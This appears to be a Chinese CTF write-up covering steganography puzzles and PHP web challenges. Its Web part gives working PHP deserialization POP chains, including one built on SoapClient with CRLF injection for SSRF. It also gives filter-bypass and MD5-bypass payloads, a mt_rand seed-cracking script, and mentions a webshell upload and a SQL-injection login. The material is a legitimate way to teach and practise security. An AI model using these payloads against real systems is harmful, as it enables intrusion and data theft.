目錄
Misc
千層套路
和BJDCTF的一題一樣,密碼爲文件名,重複解壓,腳本跑就完事了。
ezmisc
修改行高。
你能看懂音符嗎
用010editor打開,發現rar文件頭錯了,改爲5261。正常之後解壓縮,看到一個doc文檔。
doc隱寫的一種(其他方法參考https://xz.aliyun.com/t/1883/):
但此時還只能顯示不能複製,還要一步操作:
再進入音符解密頁面解密即可
A Signal From ISS
用robot36分析即可,安裝包在robot36-1.44\app\release
目錄下。
(這個是我用電腦插耳機頂着手機麥克風得到的圖像,這聲音屬實難頂)
尋找xxx
解壓之後有一個.wav文件,聽了後發現是手機按鍵音(雙音多頻信號),把聽到的數字發給公衆號即可。
不眠之夜
拼圖
Unravel!!
binwalk一下圖片,發現又隱藏,foremost一下,發現多了三個文件,兩張內容爲Tokyo的圖片和一個zip文件,打開是名字叫aes.png的圖片,內容是Tokyo。
.wav提示我們看文件末尾,那就用010editor看看吧。得到一串字符:y=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
,根據前面的明示很顯然是aes加密。
解密之後,得到一串字符:CCGandGulu,以此爲密碼解壓縮,得到一個音頻文件,用silenteye解開即可。
pyflag
解壓後有三張圖片,每張圖片末尾有一段數據
拼接起來之後就是一個zip文件。看hex文件沒有僞加密,於是爆破密碼,得到密碼爲1234。
打開flag.txt,得到一串密文:
G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)
hint.txt提示我們用base解密。查找資料後發現是base85。
用python帶的解密函數解密之後得到一串16進制字符,經過base16、base32、base16、base64解密後得到flag。
Hello_Misc
文件打開後得到一個flag.rar和try to restore it.png。flag.rar需要密碼,那就先看看圖片。
圖片說試着還原它,但檢查crc都是正確的。但看圖片的hex下面好像有一個壓縮包,foremost一下。
果然出來了一個帶密碼的壓縮包。
接下來就是見證奇蹟的時刻:
把圖片的紅色部分全部截掉(一點不能多一點不能少)
,然後把它當成二進制保存爲圖片,就可以看到:
保存圖片的腳本如下:
from PIL import Image
import numpy as np
import re
import struct
img = Image.open('img.png')
a = np.array(img)
a.shape
c = ''
for i in range(58):
for j in range(1024):
if (a[i, j, 0] == 255):
c += '1'
else:
c += '0'
b = re.findall(r'.{8}', c)
d = []
for i in b:
d.append(int(i, 2))
o = open('out.png', 'wb')
for i in d:
t = struct.pack('B', i)
o.write(t)
o.close()
用得到的密碼打開剛剛分離的壓縮文件,得到一長串的數字
發現只有四個數字,腳本跑一跑,得到了flag.zip的密碼。
腳本如下:
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
d = re.findall(r'.{8}', s)
o = ''
for i in d:
o += chr(int(i, 2))
print(o)
打開發現fffflag.zip其實是一個docx文件,更改後綴之後打開,全選,發現下面有貓膩:
改變字體顏色得到一串密文
MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx
MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx
MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx
MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx
是base64隱寫加密,利用工具解密之後得到一串01字符
複製到doc,搜索0,即可得到flag
Web
Ezpop
點開即可看到源碼,如下:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
各個魔術方法作用如下:
- 首先看到
Show類
的_wakeup()
,反序列化時調用,以此起手。 - 由於
_wakeup()
處用preg_match()
對$this->source
進行了比較,被當作字符串使用,於是開始調用_toString()
_toString()
處反序列化爲Test類
,由於_toString()
裏return了$this->str->source
,且Test裏沒有$source
,所以_get()
會自動被調用Test類
return一個$fuction()
,正好符合Modifier類
的_invoke()
,於是調用$this->append()
,append()
裏有一個inlcude()
,如果此時inculde()裏的值爲php僞協議的話就可以順利讀取flag.php。
由於var
爲protected,所以在進入之前需要先進行url編碼
PHP腳本如下:
<?php
//pop鏈測試
class Modifier
{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$a->source=new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
base64解碼即可得到flag
套娃
F12可以看到有一段php代碼:
<?php
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
?>
可以看到需要我們將b_u_p_t
傳進去,但參數名過濾了_
和%5f
。我們用.
代替下劃線(空格也可以),即可將參數傳入。下一步是b_u_p_t!=='23333'
但b_u_p_t
需要匹配到23333
(正則表達式測試網站:https://regex101.com/)
我們可以看到,我們的正則表達式沒有/gm
,說明只匹配一行。我們利用換行符繞過即可。
payload:?b.u.p.t=23333%0a
pyflag
F12可以看到有一段前端代碼:
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通過了驗證!");
window.location = "./flag.php"
}else{
alert("你的授權碼不正確!");
}
}else{
alert("請輸入授權碼");
}
}
但是卵用沒有,只是告訴你有個flag.php而已(我還傻傻的看了半小時,哭了)
跳轉到flag.php,
利用XFF頭僞造本地即可得到flag。
ez_bypass
點開,可以看到一串php代碼:
<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
?>
簡單MD5繞過。第一層用數組繞過,第二層用弱類型比較繞過。
payload:
傳馬
簡單文件上傳。先上傳一個.htaccess文件,在上傳一個圖片馬,然後蟻劍連一下就好。
ez_audit
www.zip源碼泄露,代碼如下:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若爲空,視爲未填寫,提示錯誤,並3秒後返回登錄界面
header('refresh:2; url=login.html');
echo "用戶名、密碼、密鑰不能爲空啦,crispr會讓你在2秒後跳轉到登錄界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒後跳轉到登錄界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
之前安恆新年祈福賽的枯燥的抽獎類型差不多,就是利用mt_rand()僞隨機數漏洞。
該題我們在知道了公鑰之後可以得到它的seed,同樣的seed隨機同樣次數出現的數是固定的,我們可以用php_mt_seed得到seed然後計算出私鑰。下面是我的腳本:
<?php
$publickey = 'KVQP0LdJKRaV3n9D';
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$length = 16;
$ch2 = array();
for($i=0;$i<strlen($strings1);$i++){
$ch2[$i] = substr($strings1,$i,1);
}
for($i=0;$i<16;$i++)
{
$ch1 = substr($publickey, $i, 1);
for($j=0;$j<strlen($strings1);$j++)
{
if($ch2[$j]==$ch1){
echo $j." "."$j"." "."0"." ".(strlen($strings1)-1)." ";
break;
}
}
}
?>
在使用php_mt_seed之前,我們要先進入文件所在目錄運行make,編譯一下
然後將剛剛腳本得出的數字放進php_mt_seed中,爆破即可得到seed
得到seed之後,利用mt_srand()進行播種。再調用私鑰函數即可得到私鑰。(奇怪的是我把wp的腳本複製下來都沒得到wp裏的密鑰,很迷)
得到私鑰之後用萬能密碼即可得到flag。
Ezpop_Revenge
www.zip源碼泄露,下載下來。由於是構造pop鏈,所以先找到反序列化的地方。(我這裏使用的是phpstorm的find in path,推薦在linux下使用命令find . -name "*"| xargs grep "unserialize"
)
反序列化的地方有很多,但能用的就這一個。
我們看看核心代碼:
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
可以看到HelloWorld_DB類
裏又有一個Typecho_Db類
,追一下。在/var/IXR/Typecho/Db.php
裏,核心代碼如下:
class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 獲取適配器名稱 */
$this->_adapterName = $adapterName;
/** 數據庫適配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化內部變量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//實例化適配器對象
$this->_adapter = new $adapterName();
}
}
注意看$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
,此時將$adapterName
進行拼接,即將其當作字符串使用,找找有沒有_toString()
。在var\Typecho\Db
的Query.php
中有一個該魔術方法。去除其他無關函數後內容如下:
class Typecho_Db_Query{
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_sqlPreBuild;
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
這裏我們要注意一下當$this->_sqlPreBuild['action']
爲SELECT
的時候,有一個parseSelect()
,此時我們把$_adapter
實例化爲soapClient
類,該類爲php的原生類,沒有parseSelect函數,從而調用該類裏的_call()
,關於其他原生類的一點用法如下:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label3
下面貼的是工作室的學長寫的腳本,注意的是,要用soapclient類需要打開php_soap拓展
class Typecho_Db_Query{
private $_adapter;
private $_sqlPreBuild;
public function __construct(){
$this->_adapter = new soapclient(null,array('location' => "http://127.0.0.1/flag.php",
'user_agent' => "AAA:BBB\r\n" .//這裏用crlf設置了cookie,soapclient本來是不能設置coockie的,但可以通過crlf做到
"Cookie:PHPSESSID=e6bsvffup1nrljkbchevhp9pe1",//這裏要用自己的Cookie,要把session帶出就必須要帶入一個session
'uri' => "http://127.0.0.1/"));
$this->_sqlPreBuild['action']='SELECT';
}
}
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=array(
"hello" => new Typecho_Db_Query(),
"world" => "typecho_"
);
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
那麼,該如何觸發呢?我們看到www\var\Typecho
的plugin.php
有這麼一段:
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
可以看到這裏添加了路由HelloWorld_Plugin,根據Typecho的文檔,我們可以知道,只要訪問了/page_admin
,就可以調用HelloWorld_Plugin插件,把腳本輸出的值POST傳入參數C0incid3nc3
之後就可以進行反序列化,然後利用soap訪問flag.php實現SSRF,並將flag帶入session中。
如何輸出session呢?回到最開始的HelloWorld_DB
類,有一個if(isset($_REQUEST['admin'])) var_dump($_SESSION);
,也就是說只要傳入admin
參數即可。
結果如下: